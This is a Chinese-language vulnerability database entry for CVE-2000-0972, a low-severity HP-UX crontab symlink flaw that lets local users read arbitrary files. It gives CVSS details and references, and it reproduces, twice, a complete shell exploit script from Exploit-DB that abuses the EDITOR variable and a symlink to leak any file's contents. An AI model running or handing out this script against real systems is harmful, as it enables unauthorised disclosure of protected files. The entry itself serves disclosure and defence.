CVE-2000-0972
CVSS2.1
发布时间 :2000-12-19 00:00:00
修订时间 :2008-09-05 16:22:19
NMCOE    

[原文]HP-UX 11.00 crontab allows local users to read arbitrary files via the -e option by creating a symlink to the target file during the crontab session, quitting the session, and reading the error messages that crontab generates.


[CNNVD]HP-UX crontab读取任意文件漏洞(CNNVD-200012-153)

        HP-UX 11.00 crontab版本存在漏洞。本地用户借助- e选项通过在crontab会话期间创建与目标文件的符号链接,退出会话,以及读取crontab生成的错误消息来读取任意文件。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:hp:hp-ux:11.00HP-UX 11.00
cpe:/o:hp:hp-ux:10.20HP HP-UX 10.20

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0972
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0972
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-153
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5410.php
(VENDOR_ADVISORY)  XF  hp-crontab-read-files
http://archives.neohapsis.com/archives/bugtraq/2000-10/0317.html
(VENDOR_ADVISORY)  BUGTRAQ  20001020 [ Hackerslab bug_paper ] HP-UX crontab temporary file symbolic link vulnerability

- 漏洞信息

HP-UX crontab读取任意文件漏洞
低危 未知
2000-12-19 00:00:00 2005-05-02 00:00:00
本地  
        HP-UX 11.00 crontab版本存在漏洞。本地用户借助- e选项通过在crontab会话期间创建与目标文件的符号链接,退出会话,以及读取crontab生成的错误消息来读取任意文件。

- 公告与补丁

        

- 漏洞信息 (195)

HP-UX 11.00/10.20 crontab Overwrite Files Exploit (EDBID:195)
hp-ux dos
2000-11-19 Verified
0 dubhe
N/A [点击下载]
#!/bin/sh
#
#  HP-UX 11.00/10.20 crontab
#
#  Kyong-won,Cho
#
#             dubhe@hackerslab.com
#
#  Usage : ./crontab.sh <distfile>
#

if [ -z "$1" ]
then

echo "Usage : $0 <distfile>"
exit

fi

cat << _EOF_ > /tmp/crontab_exp
#!/bin/sh

ln -sf $1 \$1

_EOF_

chmod 755 /tmp/crontab_exp

EDITOR=/tmp/crontab_exp
export EDITOR

crontab -e 2> /tmp/crontab$$

grep -v "error on previous line" /tmp/crontab$$

rm -f /tmp/crontab_exp /tmp/crontab$$


# milw0rm.com [2000-11-19]
		

- 漏洞信息 (20329)

HP-UX 10.20/11.0 crontab /tmp File Vulnerability (EDBID:20329)
hp-ux local
2000-10-20 Verified
0 Kyong-won Cho
N/A [点击下载]
source: http://www.securityfocus.com/bid/1845/info

crontab is a binary in the cron package of the HP-UX cron implementation which allows a user to create a file of scheduled commands. A vulnerabiltiy in crontab exists that allows a user to read any file on an HP-UX system. crontab as implemented with HP-UX is a access controlled binary. Users are permitted to run crontab only if they have an access entry in the crontab.allow file.

To create a crontab, a user must execute the command "crontab -e." Executing this command launches the vi editor, creates a file in the /tmp directory with the ownership delegated to the user running the command. While the file exists in /tmp, the owner of the file may spawn a shell from vi and create a symbolic link to any file on the system. After exiting the spawned shell, then quitting vi, an error message will return the contents of the previously symbolically linked file to the standard output of the user.


#!/bin/sh
#
#  HP-UX 11.00 crontab
#
#  Kyong-won,Cho
#
#             dubhe@hackerslab.com
#
#  Usage : ./crontab.sh <distfile>
#
#

if [ -z "$1" ]
then

echo "Usage : $0 <distfile>"
exit

fi

cat << _EOF_ > /tmp/crontab_exp
#!/bin/sh

ln -sf $1 \$1

_EOF_

chmod 755 /tmp/crontab_exp

EDITOR=/tmp/crontab_exp
export EDITOR

crontab -e 2> /tmp/crontab$$

grep -v "error on previous line" /tmp/crontab$$

rm -f /tmp/crontab_exp /tmp/crontab$$
		

- 漏洞信息

6984
HP-UX crontab -e Option Symlink Arbitrary File Access
Local Access Required Information Disclosure, Race Condition
Loss of Confidentiality
Exploit Public

- 漏洞描述

- 时间线

2000-10-23 Unknow
2000-10-23 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站